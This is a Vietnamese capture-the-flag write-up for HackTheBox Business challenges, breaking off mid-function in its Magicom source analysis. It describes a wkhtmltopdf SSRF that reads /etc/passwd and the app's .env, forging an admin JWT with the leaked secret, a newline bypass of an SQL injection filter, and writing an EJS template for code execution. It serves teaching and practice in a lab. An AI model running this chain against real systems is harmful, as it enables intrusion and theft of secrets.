<p><strong>internalRoutes</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { authMiddleware } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../controllers/authController"</span>)

<span class="hljs-keyword">const</span> schema = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../schemas/schema"</span>);
<span class="hljs-keyword">const</span> pool = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../utils/database"</span>)
<span class="hljs-keyword">const</span> { createHandler } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"graphql-http/lib/use/express"</span>);


router.get(<span class="hljs-string">"/admin"</span>, authMiddleware(<span class="hljs-string">"admin"</span>), <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.render(<span class="hljs-string">"admin"</span>)
})

router.all(<span class="hljs-string">"/graphql"</span>, authMiddleware(<span class="hljs-string">"admin"</span>), <span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
    createHandler({ schema, <span class="hljs-attr">context</span>: { pool } })(req, res, next); 
});
</code></pre>
<p>Routes này chứa 2 routes -&gt; điểm mình sẽ tận dụng là <code>/grapql</code> nhưng routes này cần có auth admin và chấp nhận tất cả các method http.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'graphql'</span>);
<span class="hljs-keyword">const</span> UserType = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../models/users"</span>)
<span class="hljs-keyword">const</span> { detectSqli } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../utils/security"</span>)
<span class="hljs-keyword">const</span> { generateError } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../controllers/errorController'</span>);

<span class="hljs-keyword">const</span> RootQueryType = <span class="hljs-keyword">new</span> GraphQLObjectType({
  <span class="hljs-attr">name</span>: <span class="hljs-string">'Query'</span>,
  <span class="hljs-attr">fields</span>: {
    <span class="hljs-attr">getAllData</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-keyword">new</span> GraphQLList(UserType),
      <span class="hljs-attr">resolve</span>: <span class="hljs-keyword">async</span>(parent, args, { pool }) =&gt; {
        <span class="hljs-keyword">let</span> data;
        <span class="hljs-keyword">const</span> connection = <span class="hljs-keyword">await</span> pool.getConnection();
        <span class="hljs-keyword">try</span> {
            data = <span class="hljs-keyword">await</span> connection.query(<span class="hljs-string">"SELECT * FROM users"</span>).then(<span class="hljs-function"><span class="hljs-params">rows</span> =&gt;</span> rows[<span class="hljs-number">0</span>]);
        } <span class="hljs-keyword">catch</span> (error) {
            generateError(<span class="hljs-number">500</span>, error)
        } <span class="hljs-keyword">finally</span> {
            connection.release()
        }
        <span class="hljs-keyword">return</span> data;
      }
    },
    <span class="hljs-attr">getDataByName</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-keyword">new</span> GraphQLList(UserType),
      <span class="hljs-attr">args</span>: {
        <span class="hljs-attr">name</span>: { <span class="hljs-attr">type</span>: GraphQLString }
      },
      <span class="hljs-attr">resolve</span>: <span class="hljs-keyword">async</span>(parent, args, { pool }) =&gt; {
        <span class="hljs-keyword">let</span> data;
        <span class="hljs-keyword">const</span> connection = <span class="hljs-keyword">await</span> pool.getConnection();
        <span class="hljs-built_in">console</span>.log(args.name)
        <span class="hljs-keyword">if</span> (detectSqli(args.name)) {
          <span class="hljs-keyword">return</span> generateError(<span class="hljs-number">400</span>, <span class="hljs-string">"Username must only contain letters, numbers, and spaces."</span>)
        }
        <span class="hljs-keyword">try</span> {
            data = <span class="hljs-keyword">await</span> connection.query(<span class="hljs-string">`SELECT * FROM users WHERE name like '%<span class="hljs-subst">${args.name}</span>%'`</span>).then(<span class="hljs-function"><span class="hljs-params">rows</span> =&gt;</span> rows[<span class="hljs-number">0</span>]);
        } <span class="hljs-keyword">catch</span> (error) {
            <span class="hljs-keyword">return</span> generateError(<span class="hljs-number">500</span>, error)
        } <span class="hljs-keyword">finally</span> {
            connection.release()
        }
        <span class="hljs-keyword">return</span> data;
      }
    }
  }
});

<span class="hljs-keyword">const</span> schema = <span class="hljs-keyword">new</span> GraphQLSchema({
  <span class="hljs-attr">query</span>: RootQueryType
});

<span class="hljs-built_in">module</span>.exports = schema;
</code></pre>
<p>Quan sát src trên ta có thể thấy có khả năng bị sqli ở trên khi truyền vào <code>args-&gt;query</code> nhưng có 1 waf:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">detectSqli</span> (<span class="hljs-params">query</span>) </span>{
    <span class="hljs-keyword">const</span> pattern = <span class="hljs-regexp">/^.*[!#$%^&amp;*()\-_=+{}\[\]\\|;:'\",.&lt;&gt;\/?]/</span>
    <span class="hljs-keyword">return</span> pattern.test(query)
}
</code></pre>
<p>Vấn đề ở đây là bypass waf để SQLi.</p>
<h3 id="heading-rce">RCE</h3>
<p>Cùng để ý thì ở index.js có một routes xử lí ngoại lệ(error). Middleware sẽ check error và hiển thị với template ejs:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// index.js</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateError</span>(<span class="hljs-params">status, message</span>) </span>{
    <span class="hljs-keyword">const</span> err = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(message);
    err.status = status;
    <span class="hljs-keyword">return</span> err;
};

<span class="hljs-keyword">const</span> renderError = <span class="hljs-function">(<span class="hljs-params">err, req, res</span>) =&gt;</span> {
    res.status(err.status);
    <span class="hljs-keyword">const</span> templateDir = __dirname + <span class="hljs-string">'/../views/errors'</span>;
    <span class="hljs-keyword">const</span> errorTemplate = (err.status &gt;= <span class="hljs-number">400</span> &amp;&amp; err.status &lt; <span class="hljs-number">600</span>) ? err.status : <span class="hljs-string">"error"</span>
    <span class="hljs-keyword">let</span> templatePath = path.join(templateDir, <span class="hljs-string">`<span class="hljs-subst">${errorTemplate}</span>.ejs`</span>);

    <span class="hljs-keyword">if</span> (!fs.existsSync(templatePath)) {
        templatePath = path.join(templateDir, <span class="hljs-string">`error.ejs`</span>);
    }
    <span class="hljs-built_in">console</span>.log(templatePath)
    res.render(templatePath, { <span class="hljs-attr">error</span>: err.message }, <span class="hljs-function">(<span class="hljs-params">renderErr, html</span>) =&gt;</span> {
        res.send(html);
    });
};

<span class="hljs-built_in">module</span>.exports = { generateError, renderError }
</code></pre>
<p>Chú ý <code>const errorTemplate = (err.status &gt;= 400 &amp;&amp; err.status &lt; 600) ? err.status : "error"</code> check status để chọn tên trang hiển thị lỗi.</p>
<p><img src="https://hackmd.io/_uploads/SkWrKTsQ0.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HkvLK6s7R.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/S1PDYajmC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/Hy0vKpjXR.png" alt="image" /></p>
<p>Do đó ta sẽ ghi vào 1 file ejs để đọc flag hiển thị khi error vì page sẽ render theo tên status trước.</p>
<h3 id="heading-exploit-wkhtmltopdf-ssrf">Exploit wkhtmltopdf SSRF</h3>
<p><code>"wkhtmltopdf": "^0.4.0"</code></p>
<p>Searching thì khác nhanh tìm được vul và poc:</p>
<p><img src="https://hackmd.io/_uploads/BkE99pj7C.png" alt="image" /></p>
<p>Khá giống với DNS binding thì mình sẽ redirect đến <code>file://</code> tùy chỉnh trên hệ thống để <code>wkhtmltopdf</code> convert file đó sang dạng pdf và truy xuất nội dung.</p>
<p>Tạo server attack + public host with ngrok:</p>
<p><img src="https://hackmd.io/_uploads/BJNTspoQC.png" alt="image" /></p>
<p>Thành công lấy được nội dung <code>/etc/passwd</code></p>
<p><img src="https://hackmd.io/_uploads/r1DenpimR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BJZBnpiQC.png" alt="image" /></p>
<p><strong>Leak secret_key jwt -&gt; authenticate to admin user</strong></p>
<p>Để truy cập được <code>/graphql</code> endpoint thì cần role của mình là <code>admin</code> cho nên ta phải control được jwt.</p>
<p>Chia sẻ 1 chút là ban đầu mình đọc:</p>
<p><img src="https://hackmd.io/_uploads/HJAX0Tjm0.png" alt="image" /></p>
<p>Thấy secret nên mình nghĩ có thể leak được với weak secret nhưng mà không được mà quên mất là leak được .env với ssrf ở trên :&gt; ( phản xạ quá chậm:(( )</p>
<p>Ok thì tương tự mình leak được <code>/app/.env</code></p>
<p><img src="https://hackmd.io/_uploads/ryxm1AiQC.png" alt="image" /></p>
<p><code>secret=Str0ng_K3y_N0_l3ak_pl3ase?</code></p>
<p>Giả mạo token admin với secret_key ở trên:</p>
<p><img src="https://hackmd.io/_uploads/rkRnOShXC.png" alt="image" /></p>
<p>Cũng có thể dùng 1 số tool để tạo</p>
<p><img src="https://hackmd.io/_uploads/rkjGivn70.png" alt="image" /></p>
<p>Dùng token này để access đến endpoint <code>/graphql</code> nhưng lưu ý là server check <code>localhost</code></p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkInternal</span>(<span class="hljs-params">req</span>) </span>{
    <span class="hljs-keyword">const</span> address = req.socket.remoteAddress.replace(<span class="hljs-regexp">/^.*:/</span>, <span class="hljs-string">''</span>)
    <span class="hljs-keyword">return</span> address === <span class="hljs-string">"127.0.0.1"</span>
}
</code></pre>
<p>Do đó ta sẽ phải access thông qua bug ssrf ở trên.</p>
<p><img src="https://hackmd.io/_uploads/SJEG3wh7R.png" alt="image" /></p>
<p><strong>Exploit Sqli bypass waf</strong></p>
<p>Chức năng dành cho internal user để truy xuất ra cơ sở dữ liệu với param query.</p>
<p>Regex check <code>^.[!#$%^&amp;()-_=+{}[]\|;:'",.&lt;&gt;/?]</code>.</p>
<p>Nhìn đến này thì ta nhớ đến bài ssti với ruby(ERB) trong HTB cũng có loại này và ta sẽ bypass với <code>\n</code> vì tất cả những kí tự ở dòng mới sẽ không bị <code>test</code>.</p>
<p><img src="https://hackmd.io/_uploads/HyIqIpjXR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BkFUwps70.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/ryzYxt3QC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SynYethXC.png" alt="image" /></p>
<p>Thử dùng hàm <code>loadfile</code> trong mysql thì thành công leak được các file hệ thống nhưng có vẻ không có quyền root với user db.</p>
<p><img src="https://hackmd.io/_uploads/SyI6XKnQ0.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rJn07FnQA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/S1c6QF37R.png" alt="image" /></p>
<p>Hook ở đây với bug tiếp theo là mình sẽ lợi dùng hàm <code>writefile</code> để ghi vào template ejs để exploit SSTI.</p>
<h3 id="heading-ssti-in-ejs-template-via-sqli">SSTI in ejs template via sqli</h3>
<p>Nếu chỉ có bug SQLi thì khá khó để RCE được vì chắc chắn sẽ có hạn chế về quyền trên hệ thống nên mình sẽ khai thác thông qua chức năng hiển thị errorPage của trang web.</p>
<p><img src="https://hackmd.io/_uploads/H1LNtYhXA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HyvBYt3mC.png" alt="image" /></p>
<p>Sau vài lần tạo thì mình đã tạo mới file <code>404.ejs</code> và ghi nội dung từ hook sqli ở trên</p>
<p><img src="https://hackmd.io/_uploads/Bk5cKYn70.png" alt="image" /></p>
<p>Payload: <code>&lt;%=7*7%&gt;</code></p>
<p><img src="https://hackmd.io/_uploads/ryJ7l9hmR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/ryAslcnmA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/B10Byq3QR.png" alt="image" /></p>
<p>Truy cập vào một endpoint không tồn tại để kích hoạt middleware hiển thị <code>404 Not Found</code> và lúc này sẽ render tên file <code>404.ejs</code> mà mình mới tạo và ghi vào.</p>
<p><img src="https://hackmd.io/_uploads/S1rK0-6XR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rJu9RWa7R.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SJ3sCZTmR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rySb1MTQA.png" alt="image" /></p>
<p>Ngoài ra, còn 1 mẹo khá hay là bạn có thể nối chuỗi nó kiểu như này select 'l','a','m' into outfile thì ta nhận được chuỗi liền kề <code>abc</code>.</p>
<h3 id="heading-exploit-chain">Exploit chain</h3>
<p>Nói khá dài ở trên nên mình xin phép tóm lược lại flow của bài này.</p>
<ol>
<li><p>Lợi dụng bug ssrf để đọc file /app/.env để lấy secret -&gt; tạo token với role admin</p>
</li>
<li><p>Khai thác sqli ở /graphql để ghi vào một file 404.ejs notFound nhằm lợi dụng việc render template error của server.</p>
</li>
<li><p>Ghi vào file mới trong /app/views/errors/404.ejs với syntax ejs và RCE thành công.</p>
</li>
</ol>
<p><img src="https://hackmd.io/_uploads/HJ71zfamA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SktxzMam0.png" alt="image" /></p>
<p><code>secret=Str0ng_K3y_N0_l3ak_pl3ase?</code></p>
<p><img src="https://hackmd.io/_uploads/S1MBMzpQC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/H1QuMGTm0.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/B1uiMM6XA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BJ4AGGamC.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/Sy_eQMTm0.png" alt="image" /></p>
<h3 id="heading-flag-2">Flag</h3>
<p><code>HTB{ch41ning_m4st3rs_b4y0nd_1m4g1nary_fb9b1487d1761dfa224ee888e57fcefd}</code></p>
<p><img src="https://hackmd.io/_uploads/SyRO4GpmA.png" alt="image" /></p>
<p><em>Chắc sẽ có thắc mắc sao không được file</em><code>/root/flag.txt</code><em>luôn từ ssrf nhưng mà mình đã test thử không được có vẻ như là userdb không có quyền truy cập vào</em><code>/root</code><em>thay vào đó thì user web lại có quyền này:</em></p>
<p><img src="https://hackmd.io/_uploads/HJqfXU3XR.png" alt="image" /></p>
<h2 id="heading-magicom"><strong>Magicom</strong></h2>
<p><strong><em>credit: kev1n</em></strong></p>
<p>Trong giải HTB Business này, mình tham gia vào làm challenge Omniwatch và Magicom cùng với các teammates trong câu lạc bộ. Chúng mình đã solve được challenge Omniwatch, còn Magicom thì gần như đã làm được, chỉ thiếu một bước nữa nhưng chúng mình đã đi sai hướng và không tìm ra cách giải kịp giờ nên không kịp solve.</p>
<p>Mình muốn viết là để chia sẻ lại quá trình giải challenge của mình và các teammates, và cũng như là hướng giải đúng đắn để solve challenge. Mình đã tham khảo official solution và nhận ra anh em đã đi đúng gần hết các bước, chỉ có bước đầu là chưa ra, nên bước đầu của mình sẽ đi theo con đường của official write up. Mình sẽ tiến hành vào khai thác tại local vì mình viết write up này hơi muộn nên không deploy trên server kịp=))</p>
<h3 id="heading-preface">Preface</h3>
<p>Challenge xuất hiện dưới dạng một website có chức năng xem sản phẩm và thêm sản phẩm, người dùng có thể thêm sản phẩm và một số các thông tin của sản phẩm, trong đó là phần ảnh minh họa:</p>
<p><img src="https://hackmd.io/_uploads/BkhzXty40.png" alt="image" /></p>
<p>Đã được add product tùy theo ý mình mà còn unauthen, mình ban đầu cũng nghĩ upload php để RCE:</p>
<p><img src="https://hackmd.io/_uploads/Sya5yqJN0.png" alt="image" /></p>
<h3 id="heading-phan-tich-source-code">Phân Tích Source Code</h3>
<h4 id="heading-config">Config</h4>
<p>Ngay sau khi mình mở source của challenge mình đã thấy đây chắc chắn không phải là một challenge upload file PHP thông thường. Vì challenge cung cấp cả phpinfo tại /info, và file php.ini, mình nhìn sơ qua qua thì cũng chưa có gì bất thường, nhưng chắc chắn là mình cần phải dùng đến chúng.</p>
<pre><code class="lang-php">$router-&gt;get(<span class="hljs-string">'/info'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
    <span class="hljs-keyword">return</span> phpinfo();
});
</code></pre>
<p><img src="https://hackmd.io/_uploads/S1fCHcy4R.png" alt="image" /></p>
<h4 id="heading-source-code">Source Code</h4>
<p>Challenge đã quy định những route có thể truy cập tại website trong index.php:</p>
<pre><code class="lang-php">$router = <span class="hljs-keyword">new</span> Router;

$router-&gt;get(<span class="hljs-string">'/'</span>, <span class="hljs-string">'HomeController@index'</span>);
$router-&gt;get(<span class="hljs-string">'/home'</span>, <span class="hljs-string">'HomeController@index'</span>);
$router-&gt;get(<span class="hljs-string">'/product'</span>, <span class="hljs-string">'ProductViewController@index'</span>);
$router-&gt;get(<span class="hljs-string">'/addProduct'</span>, <span class="hljs-string">'AddProductController@index'</span>);
$router-&gt;post(<span class="hljs-string">'/addProduct'</span>, <span class="hljs-string">'AddProductController@add'</span>);
$router-&gt;get(<span class="hljs-string">'/info'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
    <span class="hljs-keyword">return</span> phpinfo();
});
</code></pre>
<p>Mình ngay lập tức đi tìm kiếm những đoạn code xử lý upload file:</p>
<ol>
<li>models/ImageModel.php</li>
</ol>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ImageModel</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">$file</span>) </span>{
        <span class="hljs-keyword">$this</span>-&gt;file = $file;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isValid</span>(<span class="hljs-params"></span>) </span>{

        $allowed_extensions = [<span class="hljs-string">"jpeg"</span>, <span class="hljs-string">"jpg"</span>, <span class="hljs-string">"png"</span>];
        $file_extension = pathinfo(<span class="hljs-keyword">$this</span>-&gt;file[<span class="hljs-string">"name"</span>], PATHINFO_EXTENSION);
        print_r(<span class="hljs-keyword">$this</span>-&gt;file);
        <span class="hljs-keyword">if</span> (!in_array($file_extension, $allowed_extensions)) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }

        $allowed_mime_types = [<span class="hljs-string">"image/jpeg"</span>, <span class="hljs-string">"image/jpg"</span>, <span class="hljs-string">"image/png"</span>];
        $mime_type = mime_content_type(<span class="hljs-keyword">$this</span>-&gt;file[<span class="hljs-string">'tmp_name'</span>]);
        <span class="hljs-keyword">if</span> (!in_array($mime_type, $allowed_mime_types)) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }

        <span class="hljs-keyword">if</span> (!getimagesize(<span class="hljs-keyword">$this</span>-&gt;file[<span class="hljs-string">'tmp_name'</span>])) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}
</code></pre>
<ul>
<li><p>Class này được gọi trong request xử lý file nên mình muốn nói về nó trước. Quá trình kiểm duyệt file được gói gọn trong hàm isValid()</p>
</li>
<li><p>File extension được lấy bằng PATHINFO_EXTENSION và được whitelist =&gt; loại bỏ khả năng bypass upload file php bypass bằng extension file</p>
</li>
<li><p>Sử dụng print_r để in ra mảng thông tin của file đó theo dạng <code>[key] =&gt; value</code></p>
</li>
<li><p>Sau khi check extension class tiếp tục check mime types bằng cách whitelist, và cuối cùng là check size bằng getimagesize. Mình gần như không thấy cơ hội nào để upload file PHP mà RCE được, nhưng đoạn print_r thông tin khá thú vị, vì nó chứa giá trị <code>tmp_name</code></p>
</li>
</ul>
<p>2. controllers/AddProductController.php</p>
<pre><code class="lang-php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">add</span>(<span class="hljs-params"></span>) 
</span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($_FILES[<span class="hljs-string">'image'</span>]) || <span class="hljs-keyword">empty</span>($_POST[<span class="hljs-string">'title'</span>]) || <span class="hljs-keyword">empty</span>($_POST[<span class="hljs-string">'description'</span>]))
    {
        header(<span class="hljs-string">'Location: /addProduct?error=1&amp;message=Fields can\'t be empty.'</span>);
        <span class="hljs-keyword">exit</span>;
    }

    $title = $_POST[<span class="hljs-string">"title"</span>];
    $description = $_POST[<span class="hljs-string">"description"</span>];
    $image = <span class="hljs-keyword">new</span> ImageModel($_FILES[<span class="hljs-string">"image"</span>]);

    <span class="hljs-keyword">if</span>($image-&gt;isValid()) {

        $mimeType = mime_content_type($_FILES[<span class="hljs-string">"image"</span>][<span class="hljs-string">'tmp_name'</span>]);
        $extention = explode(<span class="hljs-string">'/'</span>, $mimeType)[<span class="hljs-number">1</span>];
        $randomName = bin2hex(random_bytes(<span class="hljs-number">8</span>));
        $secureFilename = <span class="hljs-string">"<span class="hljs-subst">$randomName</span>.<span class="hljs-subst">$extention</span>"</span>;

        <span class="hljs-keyword">if</span>(move_uploaded_file($_FILES[<span class="hljs-string">"image"</span>][<span class="hljs-string">"tmp_name"</span>], <span class="hljs-string">"uploads/<span class="hljs-subst">$secureFilename</span>"</span>)) {
            <span class="hljs-keyword">$this</span>-&gt;product-&gt;insert($title, $description, <span class="hljs-string">"uploads/<span class="hljs-subst">$secureFilename</span>"</span>);

            header(<span class="hljs-string">'Location: /addProduct?error=0&amp;message=Product added successfully.'</span>);
            <span class="hljs-keyword">exit</span>;
        }
    } <span class="hljs-keyword">else</span> {
        header(<span class="hljs-string">'Location: /addProduct?error=1&amp;message=Not a valid image.'</span>);
        <span class="hljs-keyword">exit</span>;
    }
}
</code></pre>
<ul>
<li><p>Nếu có dấu hiệu upload file, webserver đưa nó vào class ImageModel để sử dụng hàm isValid để check, nếu như return true thì lấy extension file bằng cách bổ đôi cái mime type mà lấy cái thứ 2 -&gt; đoạn này khá lỏng lẻo vì giá trị đó mình control được nhưng đằng trước là whitelist nên đành chịu</p>
</li>
<li><p>Gắn file extension vừa lấy được với 16 ký tự random được gen bằng <code>bin2hex(random_bytes(8))</code>, move vào thư mục uploads và trả về thông báo và lỗi nếu có.</p>
</li>
</ul>
<p>Riêng đoạn code check valid tại class ImageModel đã làm cho mình không tin tưởng vào việc có thể bypass upload file PHP nữa, mặc dù đoạn lấy extension ở controller khá ngon nhưng hàm valid lại quá chặt nên mình đi đọc những file khác vì còn rất nhiều thứ chưa được sử dụng.</p>
<p>Đáng chú ý nhất chắc chắn là file cli/cli.php, nó vốn được dùng để import file sql chứa các sản phẩm mặc định vào database bằng command line, sau đó file sql sẽ bị xóa:</p>
<pre><code class="lang-php">php /www/cli/cli.php -c /www/cli/conf.xml -m import -f /www/products.sql
rm /www/products.sql
</code></pre>
<p>Vì pha import này quá cồng kềnh, chả có lí do gì phải làm hẳn 1 file php chỉ để import 1 file sql vào, nên mình chắc chắn sẽ khai thác từ file này ra:</p>
<p>Ngay từ đầu file đã đánh phủ đầu bằng việc check xem file có được thực thi thông qua dòng lệnh hay không:</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>( $_SERVER[<span class="hljs-string">'argv'</span>], $_SERVER[<span class="hljs-string">'argc'</span>] ) || !$_SERVER[<span class="hljs-string">'argc'</span>]) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"This script must be run from the command line!"</span>);
}
</code></pre>
<p><code>argv</code> và <code>argc</code> là 2 biến siêu toàn cục, trong đó <code>argv</code> sẽ là một mảng lưu giá trị của các tham số truyền được truyền vào file php dưới dạng mảng <code>[số thứ tự] =&gt; value</code>. Còn <code>argc</code> sẽ chứa số các tham số được truyền vào.</p>
<p>Ví dụ như với câu lệnh chạy file cli.php như ở trên, thì giá trị của <code>argv</code> sẽ có dạng như sau:</p>
<pre><code class="lang-php"><span class="hljs-keyword">Array</span>
(
    [<span class="hljs-number">0</span>] =&gt; -c
    [<span class="hljs-number">1</span>] =&gt; /www/cli/conf.xml
    [<span class="hljs-number">2</span>] =&gt; -m
    [<span class="hljs-number">3</span>] =&gt; import
    [<span class="hljs-number">4</span>] =&gt; -f
    [<span class="hljs-number">5</span>] =&gt; /www/products.sql
)
</code></pre>
<p>Còn <code>argc</code> sẽ mang giá trị là 6, ứng với số tham số truyền vào File có thể gồm 3 tham số truyền vào:</p>
<pre><code class="lang-plaintext">-c (--config): Truyền vào đường dẫn tuyệt đối đến file config ở định dạng xml
-m (--method): Tên phương thức hành động tương ứng, gồm có import, backup và healthcheck
-f (--filename): Sử dụng khi dùng method import, truyền vào tên file để import dữ liệu vào database
</code></pre>
<p>Tham số <code>-c</code> khá quan trọng, giá trị này sẽ được check xem có phải là thư mục hay không, nếu có sẽ chèn thêm <code>config.xml</code> trước rồi return đệ quy để tiếp tục kiểm tra, tiếp đó kiểm tra xem file có tồn tại, và file đó thêm <code>.xml</code> có tồn tại hay không, nếu 1 trong 2 tồn tại thì return về giá trị đó.</p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isConfig</span>(<span class="hljs-params">$probableConfig</span>) </span>{
    <span class="hljs-keyword">if</span> (!$probableConfig) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
    }
    <span class="hljs-keyword">if</span> (is_dir($probableConfig)) {
        <span class="hljs-keyword">return</span> isConfig($probableConfig.\DIRECTORY_SEPARATOR.<span class="hljs-string">'config.xml'</span>);
    }

    <span class="hljs-keyword">if</span> (file_exists($probableConfig)) {
        <span class="hljs-keyword">return</span> $probableConfig;
    }
    <span class="hljs-keyword">if</span> (file_exists($probableConfig.<span class="hljs-string">'.xml'</span>)) {
        <span class="hljs-keyword">return</span> $probableConfig.<span class="hljs-string">'.xml'</span>;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
};
</code></pre>
<p>Sau khi đã xác định file config có tồn tại, file mới được đưa vào xử lý:</p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getConfig</span>(<span class="hljs-params">$name</span>) </span>{
    $configFilename = isConfig(getCommandLineValue(<span class="hljs-string">"--config"</span>, <span class="hljs-string">"-c"</span>));
    <span class="hljs-keyword">if</span> ($configFilename) {
        $dbConfig = <span class="hljs-keyword">new</span> DOMDocument();
        $dbConfig-&gt;load($configFilename);
        $var = <span class="hljs-keyword">new</span> DOMXPath($dbConfig);
        <span class="hljs-keyword">foreach</span> ($var-&gt;query(<span class="hljs-string">'/config/db[@name="'</span>.$name.<span class="hljs-string">'"]'</span>) <span class="hljs-keyword">as</span> $var) {
            <span class="hljs-keyword">return</span> $var-&gt;getAttribute(<span class="hljs-string">'value'</span>);
        }
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
}
</code></pre>
<ul>
<li><p>Sử dụng DOMDocument() để load file config, sau đó query lấy giá trị từ thẻ gốc <code>&lt;config&gt;</code> -&gt; <code>&lt;db&gt;</code>, lấy attribute <code>name</code> lưu vào biến $vars và lấy attribute <code>value</code> của name tương ứng</p>
</li>
<li><p>Ta cũng có format của một file config sẽ như thế nào:</p>
</li>
</ul>
<pre><code class="lang-php">&lt;config&gt;
    &lt;db name=<span class="hljs-string">"username"</span> value=<span class="hljs-string">"root"</span>/&gt;
    &lt;db name=<span class="hljs-string">"password"</span> value=<span class="hljs-string">"root"</span>/&gt;
    &lt;db name=<span class="hljs-string">"database"</span> value=<span class="hljs-string">""</span>/&gt;
&lt;/config&gt;
</code></pre>
<p>Hàm <code>generateFilename</code> dùng để tạo ra tên file ngẫu nhiên khi sử dụng method backup:</p>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateFilename</span>(<span class="hljs-params"></span>) </span>{
    $timestamp = date(<span class="hljs-string">"Ymd_His"</span>);
    $random = bin2hex(random_bytes(<span class="hljs-number">4</span>));
    $filename = <span class="hljs-string">"backup_<span class="hljs-subst">$timestamp</span>"</span> . <span class="hljs-string">"_<span class="hljs-subst">$random</span>.sql"</span>;
    <span class="hljs-keyword">return</span> $filename;
}
</code></pre>
<p>\=&gt; Kết quả cho ra file sql backup với filename sử dụng kết hợp ngày tháng và 8 ký tự random</p>
<ol>
<li>Method backup</li>
</ol>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">backup</span>(<span class="hljs-params">$filename, $username, $password, $database</span>) </span>{
    $backupdir = <span class="hljs-string">"/tmp/backup/"</span>;
    passthruOrFail(<span class="hljs-string">"mysqldump -u<span class="hljs-subst">$username</span> -p<span class="hljs-subst">$password</span> <span class="hljs-subst">$database</span> &gt; <span class="hljs-subst">$backupdir</span><span class="hljs-subst">$filename</span>"</span>);
}
</code></pre>
<p>Tại method này, server thực thi câu lệnh dump toàn bộ database vào file được quy định trước, với tên filename gen random; 3 giá trị username, password và database được lấy từ file config</p>
<ol start="2">
<li>Method import</li>
</ol>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">import</span>(<span class="hljs-params">$filename, $username, $password, $database</span>) </span>{
    passthruOrFail(<span class="hljs-string">"mysql -u<span class="hljs-subst">$username</span> -p<span class="hljs-subst">$password</span> <span class="hljs-subst">$database</span> &lt; <span class="hljs-subst">$filename</span>"</span>);
}
</code></pre>
<p>Tiếp tục sử dụng câu lệnh hệ thống đưa dữ liệu của filename được chỉ định vào database</p>
<ol start="3">
<li>Method healthcheck</li>
</ol>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">healthCheck</span>(<span class="hljs-params"></span>) </span>{
